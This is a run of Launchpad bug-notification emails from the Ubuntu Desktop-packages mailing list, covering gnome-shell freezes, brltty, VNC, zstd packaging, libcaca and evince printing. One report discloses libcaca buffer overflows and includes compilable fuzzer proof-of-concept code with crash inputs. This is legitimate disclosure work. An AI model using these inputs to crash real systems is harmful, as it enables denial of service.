Public bug reported: [Summary] The system will run into freeze if I connect the external monitor through DP/HDMI with dongle DA310 or Docking WD19TB [Steps to reproduce] 1. Attact DA310 or WD19TB to DUT 2. Cold Boot into OS 3. Plug the DP/HDMI cable to DA310 or WD19TB 4. Check the external monitor has signal 5. Click keyboard or move mouse to check system can work well [Expected result] System won't be freeze with external monitor. [Actual result] System will be freeze. It can be recovered after unplug the external monitor sometime. [gnome-shell stack trace] 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 35 with keysym 35 (keycode e). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 33 with keysym 33 (keycode c). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 0' failed 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: ubuntu : TTY=pts/2 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/dmesg 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session opened for user root(uid=0) by ubuntu(uid=1001) 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session closed for user root 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. This system is using OLED (3456x2160) panel, and I can't reproduce this issue on FHD panel. ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: New ** Attachment added: "sosreport-ubuntu-XPS-9320-2022-05-27-ouxfyjg.tar.xz" https://bugs.launchpad.net/bugs/1976204/+attachment/5593674/+files/sosreport-ubuntu-XPS-9320-2022-05-27-ouxfyjg.tar.xz -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1976204 Title: system freeze and gnome-shell reports multiple stack trace Status in gnome-shell package in Ubuntu: New Bug description: [Summary] The system will run into freeze if I connect the external monitor through DP/HDMI with dongle DA310 or Docking WD19TB [Steps to reproduce] 1. Attact DA310 or WD19TB to DUT 2. Cold Boot into OS 3. Plug the DP/HDMI cable to DA310 or WD19TB 4. Check the external monitor has signal 5. Click keyboard or move mouse to check system can work well [Expected result] System won't be freeze with external monitor. [Actual result] System will be freeze. It can be recovered after unplug the external monitor sometime. [gnome-shell stack trace] 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 35 with keysym 35 (keycode e). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 33 with keysym 33 (keycode c). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 0' failed
[Desktop-packages] [Bug 874181] Re: brltty daemon prevents creation of ttyUSB0 device link
Linux is finally getting Windows users to experiment with switching over to Linux. Many of those new users are natural experimenters anyway. That is why most of the complaints on this thread include ham radio operators that are using the serial USB connection for some other piece of hardware. And what do they get? An impossible to figure out bug with something in the OS. That, my friends, is not how you keep growing a user base of people sick of Windows. As for me, this bug has broken my spirit, and I am finally making the move away from Ubuntu and Pop OS. This one broke me. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to brltty in Ubuntu. https://bugs.launchpad.net/bugs/874181 Title: brltty daemon prevents creation of ttyUSB0 device link Status in brltty package in Ubuntu: Confirmed Status in brltty source package in Oneiric: Fix Released Bug description: Impact: This bug is somewhat hardware specific, affecting all users of the USB serial controller, device 10c4:ea60. Test case: With the current version of brltty in Oneiric, brltty takes over any device using the above mentioned USB serial controller, whether it is a Braille display or not. This is because one of Brltty's supported displays uses this USB serial control internally for ocmmunication. The brltty package in oneiric-proposed has the udev rule for this controller commented out, allowing other users of devices based on this controller to work properly. Regression potential: All users of the supported Seika will have to load Brltty manually, as the udev rule for their device is commented out, to allow other USB serial controller users to use their device as a proper serial device. Original description follows: After upgrading from Ubuntu 11.04 to 11.10, I no longer found a '/dev/ttyUSB0' for my serial-to-USB converter. The device is part of a Xilinx FPGA board and is a "10c4:ea60 Cygnal Integrated Products, Inc. CP210x Composite Device". Every time I plugged in the device, dmesg showed the device coming up and 'brltty' did *something* to it. At this point, no device was present in '/dev'. [ 5181.130942] cp210x 1-1.4:1.0: cp210x converter detected [ 5181.203658] usb 1-1.4: reset full speed USB device number 5 using ehci_hcd [ 5181.296637] usb 1-1.4: cp210x converter now attached to ttyUSB0 [ 5181.623749] usb 1-1.4: usbfs: interface 0 claimed by cp210x while 'brltty' sets config #1 After removing 'brltty', the '/dev/ttyUSB0' device appears again like it used to. ProblemType: Bug DistroRelease: Ubuntu 11.10 Package: brltty (not installed) ProcVersionSignature: Ubuntu 3.0.0-12.20-generic 3.0.4 Uname: Linux 3.0.0-12-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 1.23-0ubuntu3 Architecture: amd64 Date: Fri Oct 14 14:39:29 2011 InstallationMedia: Ubuntu 10.10 "Maverick Meerkat" - Release amd64 (20101007) ProcEnviron: LANGUAGE= LC_TIME=C LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: brltty UpgradeStatus: Upgraded to oneiric on 2011-10-13 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/brltty/+bug/874181/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1970148] Re: Brave & Chrome browsers freezes on download and print to pdf
I can confirm #3 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1970148 Title: Brave & Chrome browsers freezes on download and print to pdf Status in chromium-browser package in Ubuntu: Invalid Bug description: Whenever any file is downloaded, the browser will freeze. Download files, from any page does not work. Same issue with Firefox. Similarly, the browser will freeze when a page is printed to pdf. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1970148/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1969577] Re: Small icons in app grid of Activities Overview
With regard to the difference between the app grid when using the default Ubuntu Dock extension and the Dash to Dock for COSMIC extension, it looks like: * in the case of the default Ubuntu Dock extension, the elements of the app grid are centered horizontally relative to the app grid, not including the dock (and their size is calculated based on the available width); this is why the app icons are smaller, but the elements in the app grid are centered correctly relative to the app grid (the left and right margins have the same width) * in the case of the Dash to Dock for COSMIC extension, the elements of the app grid are centered horizontally relative to the screen, including the dock (and their size is calculated based on the available width); this is why the app icons are bigger, but the elements in the app grid are not centered correctly relative to the app grid (the left margin is smaller than the right margin) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-ubuntu-dock in Ubuntu. https://bugs.launchpad.net/bugs/1969577 Title: Small icons in app grid of Activities Overview Status in GNOME Shell: Unknown Status in gnome-shell package in Ubuntu: Triaged Status in gnome-shell-extension-ubuntu-dock package in Ubuntu: Opinion Bug description: I just installed Ubuntu 22.04 LTS. As soon as I installed, I noticed that the icons present in "Show Applications" are smaller than expected (i.e. smaller than that used to be in other versions). So here it is: https://i.postimg.cc/2jn4xVh3/Screenshot-from-2022-04-20-13-36-48.png issue went gone when i disable ubuntu dock extension https://i.postimg.cc/cJd7KZr6/Screenshot-from-2022-04-20-13-35-44.png Here is my system information: $sudo lshw -short H/W path Device Class Description === system 81WA (LENOVO_MT_81WA_BU_idea_FM_ /0 busLNVNB161216 /0/0 memory 128KiB BIOS /0/4 processor Intel(R) Core(TM) i3-10110U CPU /0/4/5 memory 128KiB L1 cache /0/4/6 memory 512KiB L2 cache /0/4/7 memory 4MiB L3 cache /0/24memory 4GiB System Memory /0/24/0 memory 4GiB Row of chips DDR4 Synchrono /0/24/1 memory [empty] /0/100 bridge Intel Corporation /0/100/2 /dev/fb0displayCometLake-U GT2 [UHD Graphics] /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th G /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 /0/100/12genericComet Lake Thermal Subsytem /0/100/14busComet Lake PCH-LP USB 3.1 xHCI H /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/3input10 input Microsoft Microsoft Nano Transce /0/100/14/0/7input16 multimedia Integrated Camera: Integrated C /0/100/14/0/acommunication Bluetooth 9460/9560 Jefferson Pe /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 memory RAM memory /0/100/14.3 wlp0s20f3 networkComet Lake PCH-LP CNVi WiFi /0/100/15busSerial IO I2C Host Controller /0/100/16communication Comet Lake Management Engine Int /0/100/17storageComet Lake SATA AHCI Controller /0/100/19busComet Lake Serial IO I2C Host Co /0/100/19.2 communication Intel Corporation /0/100/1dbridge Comet Lake PCI Express Root Port /0/100/1d/0 /dev/nvme0 storageKBG40ZNT256G TOSHIBA MEMORY /0/100/1d/0/0hwmon2 disk NVMe disk /0/100/1d/0/2/dev/ng0n1 disk NVMe disk /0/100/1d/0/1/dev/nvme0n1disk 256GB NVMe disk /0/100/1d/0/1/1 volume 1023MiB Windows FAT volume /0/100/1d/0/1/2 /dev/nvme0n1p2 volume 2047MiB Linux swap volume /0/100/1d/0/1/3 /dev/nvme0n1p3 volume 59GiB EFI partition /0/100/1d/0/1/4 /dev/nvme0n1p4 volume 175GiB EFI partition /0/100/1fbridge Comet Lake PCH-LP LPC Premium Co /0/100/1f/0 system PnP device PNP0c02 /0/100/1f/1 system PnP device PNP0c02 /0/100/1f/2 system PnP device PNP0c02
[Desktop-packages] [Bug 1970139] Re: VNC Connection doesn't work on arm64 (Raspberry Pi 4 8Gb) in Ubuntu 22.04 LTS
I am experiencing the exact same syndromes plus "Settings" does not seem to be recording correctly the VNC password, it keeps taking another value after reboot... strange, I'll have to reproduce it. I am eagerly waiting for the fix to make its way to the official repos! It is a pity Canonical is advertising super optimisations on Raspberry Pi 4 with 22.04 and this basic feature is totally broken as is: was never ever tested... This is a complete show-stopper for me as remote access to the machine, be it through SSH (which works!) or graphically, is sort of a necessary feature for this kind of machines. Probably some way of improvement in the QA... like suggesting Canonical to buy a Raspberry Pi 4 to the maintainers involved!.. That's a pretty inexpensive machine. :-) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-remote-desktop in Ubuntu. https://bugs.launchpad.net/bugs/1970139 Title: VNC Connection doesn't work on arm64 (Raspberry Pi 4 8Gb) in Ubuntu 22.04 LTS Status in gnome-remote-desktop package in Ubuntu: In Progress Bug description: # lsb_release -rd Description: Ubuntu 22.04 LTS Release: 22.04 # apt-cache policy gnome-remote-desktop gnome-remote-desktop: Instalados: 42.0-4ubuntu1 Candidato: 42.0-4ubuntu1 Tabla de versión: *** 42.0-4ubuntu1 500 500 http://ports.ubuntu.com/ubuntu-ports jammy/main arm64 Packages 100 /var/lib/dpkg/status # uname -a Linux fpgrpi 5.15.0-1005-raspi #5-Ubuntu SMP PREEMPT Mon Apr 4 12:21:48 UTC 2022 aarch64 aarch64 aarch64 GNU/Linux Summary of the bug: --- When I try to connect to gnome-remote-desktop using VNC to a Raspberry Pi 4 Model B Rev 1.4 (8Gb) under Ubuntu 22.04 LTS the VNC client can't connect (connection is refused). The connection passes the Password check validation but don't connect (sometimes shows screen garbage before disconnecting). I've used several VNC clients (Remmina in Ubuntu and Real VNC in Android) getting the same problem failing either in X11 or Wayland. Notes: - VNC connection does work in in previous Ubuntu 21.10 version with the same architecture (arm64) and same Raspberry Pi. - VNC connection also does work in amd64 machines with Ubuntu 22.04 LTS and gnome-remote-desktop 42.0-4ubuntu1, exactly the same software version that doesn't work on arm64 (Raspberry Pi). There is no apport info at all. Also there is almost no info in the journal regarding this problem. When I try to connect to VNC server it show this: On Wayland: --- abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 1884160 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 4169728 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 8130560 bytes), total 32768 (slots), used 83 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 8294400 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 8294400 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 8294400 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:42 fpgrpi kernel: vc4-drm gpu: swiotlb buffer is full (sz: 8294400 bytes), total 32768 (slots), used 3 (slots) abr 25 00:21:43 fpgrpi systemd[1381]: gnome-remote-desktop.service: Main process exited, code=killed, status=11/SEGV abr 25 00:21:43 fpgrpi systemd[1381]: gnome-remote-desktop.service: Failed with result 'signal'. abr 25 00:21:43 fpgrpi gnome-shell[1497]: D-Bus client with active sessions vanished abr 25 00:21:43 fpgrpi systemd[1381]: gnome-remote-desktop.service: Scheduled restart job, restart counter is at 1. abr 25 00:21:43 fpgrpi systemd[1381]: Stopped GNOME Remote Desktop. abr 25 00:21:43 fpgrpi systemd[1381]: Starting GNOME Remote Desktop... abr 25 00:21:43 fpgrpi systemd[1381]: Started GNOME Remote Desktop. abr 25 00:21:43 fpgrpi gnome-remote-desktop-daemon[2125]: Cannot load libcuda.so.1 abr 25 00:21:43 fpgrpi gnome-remote-desktop-daemon[2125]: Cannot load libnvidia-encode.so.1 abr 25 00:21:43 fpgrpi gnome-remote-de[2125]: RDP server started abr 25 00:21:43 fpgrpi gnome-remote-de[2125]: VNC server started On X11: --- abr 25 00:12:18 fpgrpi systemd[2859]: gnome-remote-desktop.service: Main process exited, code=killed, status=11/SEGV abr 25 00:12:18 fpgrpi gnome-shell[3044]: D-Bus client with active sessions vanished abr 25 00:12:18 fpgrpi systemd[2859]: gnome-remote-desktop.service: Failed with result 'signal'. abr 25 00:12:18 fpgrpi systemd[2859]: gnome-remote-desktop.service: Scheduled restart job, restart counter is at 19. abr 25 00:12:18 fpgrpi systemd[2859]: Stopped GNOME Remote
[Desktop-packages] [Bug 1923845] Re: Please compress packages with zstd by default
** Changed in: lutris (Ubuntu) Status: In Progress => Invalid ** Changed in: lutris (Ubuntu) Assignee: Stephan Lachnit (stephanlachnit) => (unassigned) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to appstream-glib in Ubuntu. https://bugs.launchpad.net/bugs/1923845 Title: Please compress packages with zstd by default Status in appstream-glib package in Ubuntu: New Status in apt package in Ubuntu: Fix Released Status in aptly package in Ubuntu: New Status in boinc package in Ubuntu: New Status in busybox package in Ubuntu: New Status in cdebootstrap package in Ubuntu: New Status in cdist package in Ubuntu: New Status in debdelta package in Ubuntu: New Status in debian-el package in Ubuntu: New Status in debootstrap package in Ubuntu: Fix Released Status in debsig-verify package in Ubuntu: New Status in debsigs package in Ubuntu: New Status in diffoscope package in Ubuntu: Fix Released Status in dpkg package in Ubuntu: Fix Released Status in dpkg-sig package in Ubuntu: New Status in file package in Ubuntu: New Status in hello package in Ubuntu: Fix Released Status in libsolv package in Ubuntu: New Status in lintian package in Ubuntu: Fix Released Status in lutris package in Ubuntu: Invalid Status in obs-build package in Ubuntu: New Status in osc package in Ubuntu: New Status in python-debian package in Ubuntu: Fix Released Status in radare2 package in Ubuntu: New Status in reprepro package in Ubuntu: Fix Released Status in vim-scripts package in Ubuntu: New Status in zeroinstall-injector package in Ubuntu: New Status in reprepro source package in Focal: Fix Released Status in reprepro source package in Groovy: Fix Released Status in reprepro source package in Hirsute: Fix Released Status in debian-el package in Debian: New Bug description: https://people.canonical.com/~rbalint/zstd-debs/ contains a .deb built on Hirsute having both data and control members of the .deb being compressed with zstd. It can be handy for testing various tools. [dpkg] Decompression support in dpkg landed first in Bionic and is being SRUd to Xenial in LP: #1764220 enable Launchpad's Xenial systems to process the zstd-compressed binary packages. From dpkg's perspective the upgrade path is cleared. The original plan was compressing only the internal data.tar .deb member, but dpkg uses uniform compression by default since dpkg 1.19.0 thus I'm collecting all the changes to support control.tar.zst, too, in this bug. Reviewed packages from: https://codesearch.debian.net/search?q=data.tar.xz=1=1 https://codesearch.debian.net/search?q=control.tar.xz=1=1 appstream-glib - needs fix: libappstream-builder/asb-package-deb.c aptly - needs fix: deb/deb.go boinc - needs fix: debian/fetch_example_applications.sh busybox - needs fix: archival/dpkg_deb.c archival/dpkg.c cdebootstrap- needs fix: src/package.c cdist - may need fix, can use dpkg-deb: cdist/preos/debootstrap/files/devuan-debootstrap/functions debdelta- needs fix: debdelta debpatch.sh debian-el - needs fix: deb-view.el debian-handbook - needs fix, maybe later, for Debian debootstrap - needs fix, https://salsa.debian.org/installer-team/debootstrap/-/merge_requests/54 debsigs - needs fix, debsigs debsig-verify - needs fix, src/debsig-verify.c diffoscope - needs fix, diffoscope/comparators/deb.py dpkg- needs fix, change default dpkg-sig- needs fix, dpkg-sig dpmb- needs fix, maybe later, for Debian elfutils- may need fix, uses dpkg-deb if it is available, does not handle .gz either file- needs fix, magic/Magdir/archive libsolv - needs fix, ext/repo_deb.c lintian - needs fix malformed-deb-archive lutris - needs fix, lutris/util/extract.py obs-build - needs fix Build/Deb.pm osc - needs fix osc/util/debquery.py control.tar.zst only python-apt - needs fix apt_inst.DebFile("glibc-doc-reference_2.33-0ubuntu2~zstd1_all.deb").control.extractall() radare2 - needs fix reprepro- needs fix, debfile.c vim-scripts - needs fix debPlugin/autoload/deb.vim winetricks - needs fix when Debian switches src/winetricks zeroinstall-injector - needs fix src/zeroinstall/archive.ml acr - skip, does not _have to_ be fixed, just creates packages, see dist/deb_hand.mak alien - skip, uses dpkg-deb to extract .deb ansible - not affected, just test data in dbdata.tar.xz anthy - not affected, just changelog entry apt - seems fixed already ceph- not affected in Ubuntu's version circlator - not affected, just test data cowdancer - not affected, just documentation eccodes - skip, just
[Desktop-packages] [Bug 1976187] [NEW] gnome-shell take more memory
Public bug reported: Take more than 5 GB + after initial restart. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-shell 3.36.9-0ubuntu0.20.04.2 ProcVersionSignature: Ubuntu 5.13.0-44.49~20.04.1-generic 5.13.19 Uname: Linux 5.13.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.24 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun May 29 20:42:28 2022 DisplayManager: gdm3 InstallationDate: Installed on 2021-08-31 (270 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) RelatedPackageVersions: mutter-common 3.36.9-0ubuntu0.20.04.2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to focal on 2022-04-22 (37 days ago) ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal third-party-packages -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1976187 Title: gnome-shell take more memory Status in gnome-shell package in Ubuntu: New Bug description: Take more than 5 GB + after initial restart. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-shell 3.36.9-0ubuntu0.20.04.2 ProcVersionSignature: Ubuntu 5.13.0-44.49~20.04.1-generic 5.13.19 Uname: Linux 5.13.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.24 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun May 29 20:42:28 2022 DisplayManager: gdm3 InstallationDate: Installed on 2021-08-31 (270 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) RelatedPackageVersions: mutter-common 3.36.9-0ubuntu0.20.04.2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to focal on 2022-04-22 (37 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1976187/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1789022] Re: libcaca0 still depends on old libncursesw5 and libtinfo5
** Changed in: libcaca (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libcaca in Ubuntu. https://bugs.launchpad.net/bugs/1789022 Title: libcaca0 still depends on old libncursesw5 and libtinfo5 Status in libcaca package in Ubuntu: Fix Released Bug description: Ubuntu Cosmic switched some time ago from ncurses5 to ncurses6. However, the package libcaca0 still depends on old libncursesw5 and libtinfo5 instead of libncursesw6 and libtinfo6. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libcaca/+bug/1789022/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1229282] Re: libcaca ftbfs in saucy (pdftex errors)
** Changed in: libcaca (Ubuntu) Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libcaca in Ubuntu. https://bugs.launchpad.net/bugs/1229282 Title: libcaca ftbfs in saucy (pdftex errors) Status in libcaca package in Ubuntu: Fix Released Status in libcaca package in Debian: Fix Released Bug description: ! Missing number, treated as zero. \relax l.9 \- \_\-\-\_\-extern char const $\ast$const $\ast$ \hyperlink{group__caca_... A number should have been here; I inserted `0'. (If you can't figure out why I needed to see a number, look up `weird error' in the index to The TeXbook.) ! Illegal unit of measure (pt inserted). \relax l.9 \- \_\-\-\_\-extern char const $\ast$const $\astmake[3]: *** [stamp-latex] Er ror 1 make[3]: Leaving directory `/build/buildd/libcaca-0.99.beta18/doc' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/build/buildd/libcaca-0.99.beta18' make[1]: *** [all] Error 2 make[1]: Leaving directory `/build/buildd/libcaca-0.99.beta18' make: *** [build-arch-stamp] Error 2 dpkg-buildpackage: error: debian/rules build gave error exit status 2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libcaca/+bug/1229282/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923273] Re: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff
** Changed in: libcaca (Ubuntu) Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libcaca in Ubuntu. https://bugs.launchpad.net/bugs/1923273 Title: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff Status in libcaca package in Ubuntu: Fix Released Bug description: Hello Ubuntu Security Team I use libfuzzer to test libcaca api .I found two crash - https://github.com/cacalabs/libcaca/issues/53 - https://github.com/cacalabs/libcaca/issues/54 ## Vendor of Product https://github.com/cacalabs/libcaca ## Affected Product Code Base libcaca e4968ba ## Affected Component affected component:libcaca.so ## Affected source code file affected source code file(As call stack): ->caca_export_canvas_to_memory() in libcaca/caca/codec/export.c ->caca_export_memory()in libcaca/caca/codec/export.c -> export_tga()in libcaca/caca/codec/export.c -> export_troff() in libcaca/caca/codec/export.c ## Attack Type Context-dependent ## Impact Denial of Service true ## Reference https://github.com/cacalabs/libcaca ## Discoverer fdgnneig ## Verification process and POC ### Verification steps: 1.Get the source code of libcaca: 2.Compile the libcaca.so library: ```shell $ cd libcaca $ apt-get install automake libtool pkg-config -y $ ./bootstrap $ ./configure $ make 3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc 4.Run POC POC.sh ``` cat << EOF > poc_troff.cc #include "config.h" #include "caca.h" //#include "common-image.h" #include #include #include #include #include #include using namespace std; extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if(Size<8) return 0; size_t len=0; char* buffer = (char*)malloc(Size+1); memset(buffer,0,Size); memcpy(buffer,Data,Size); buffer[Size]='\0'; caca_canvas_t *cv; cv = caca_create_canvas(0,0); for(int i=0;i<4;i++) caca_create_frame(cv,0); for(int i=0;i<4;i++){ caca_set_frame(cv,i); caca_import_canvas_from_memory(cv,buffer,strlen(buffer),""); } void* reData = caca_export_canvas_to_memory(cv,"troff",); if(reData!=NULL) free(reData); caca_free_canvas(cv); cv=NULL; free(buffer); buffer=NULL; } int main(int args,char* argv[]){ size_t len = 0; unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11}; len = sizeof(buffer)/sizeof(unsigned char); LLVMFuzzerTestOneInput((const uint8_t*)buffer,len); printf("%d\n",sizeof(buffer)/sizeof(unsigned char)); return 0; } EOF clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff cat << EOF > poc_tga.cc #include "config.h" #include "caca.h" #include #include #include #include #include #include using namespace std; extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if(Size<8) return 0; size_t len=0; char* buffer = (char*)malloc(Size+1); memset(buffer,0,Size); memcpy(buffer,Data,Size); buffer[Size]='\0'; caca_canvas_t *cv; cv = caca_create_canvas(0,0); for(int i=0;i<4;i++) caca_create_frame(cv,0); for(int i=0;i<4;i++){ caca_set_frame(cv,i); caca_import_canvas_from_memory(cv,buffer,strlen(buffer),""); } void* reData = caca_export_canvas_to_memory(cv,"tga",); if(reData!=NULL) free(reData); caca_free_canvas(cv); cv=NULL; free(buffer); buffer=NULL; return 0; } int main(int args,char* argv[]){ size_t len = 0; unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11}; len = sizeof(buffer)/sizeof(unsigned char); LLVMFuzzerTestOneInput((const uint8_t*)buffer,len); printf("%d\n",sizeof(buffer)/sizeof(unsigned char)); return 0; } EOF clang++
[Desktop-packages] [Bug 1976179] [NEW] evince does not print
Public bug reported: Since Update from 20.04 -> 22.04, I am not able to print via evince, ocular is working. $ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=22.04 DISTRIB_CODENAME=jammy DISTRIB_DESCRIPTION="Ubuntu 22.04 LTS" When starting evince in terminal, it produces the following output: $ evince ./reise_scheng_formular.pdf\;jsessionid\=581D11B486915D0476F672CBA29B8143.pdf (evince:48073): dbind-WARNING **: 11:51:05.921: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/1000/at-spi/bus_1: Permission denied Gtk-Message: 11:51:05.959: Failed to load module "unity-gtk-module" Gtk-Message: 11:51:05.960: Failed to load module "unity-gtk-module" When I print, I see a small blinking of the lcd display of CANON MX PIXMA 920 printer. The printer dialog says: processing stopped. It could not be restarted. Printing from OCULAR or LibreOffice works still fine. Assumed some rights problems?? ** Affects: evince (Ubuntu) Importance: Undecided Status: New ** Tags: evince print -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1976179 Title: evince does not print Status in evince package in Ubuntu: New Bug description: Since Update from 20.04 -> 22.04, I am not able to print via evince, ocular is working. $ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=22.04 DISTRIB_CODENAME=jammy DISTRIB_DESCRIPTION="Ubuntu 22.04 LTS" When starting evince in terminal, it produces the following output: $ evince ./reise_scheng_formular.pdf\;jsessionid\=581D11B486915D0476F672CBA29B8143.pdf (evince:48073): dbind-WARNING **: 11:51:05.921: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/1000/at-spi/bus_1: Permission denied Gtk-Message: 11:51:05.959: Failed to load module "unity-gtk-module" Gtk-Message: 11:51:05.960: Failed to load module "unity-gtk-module" When I print, I see a small blinking of the 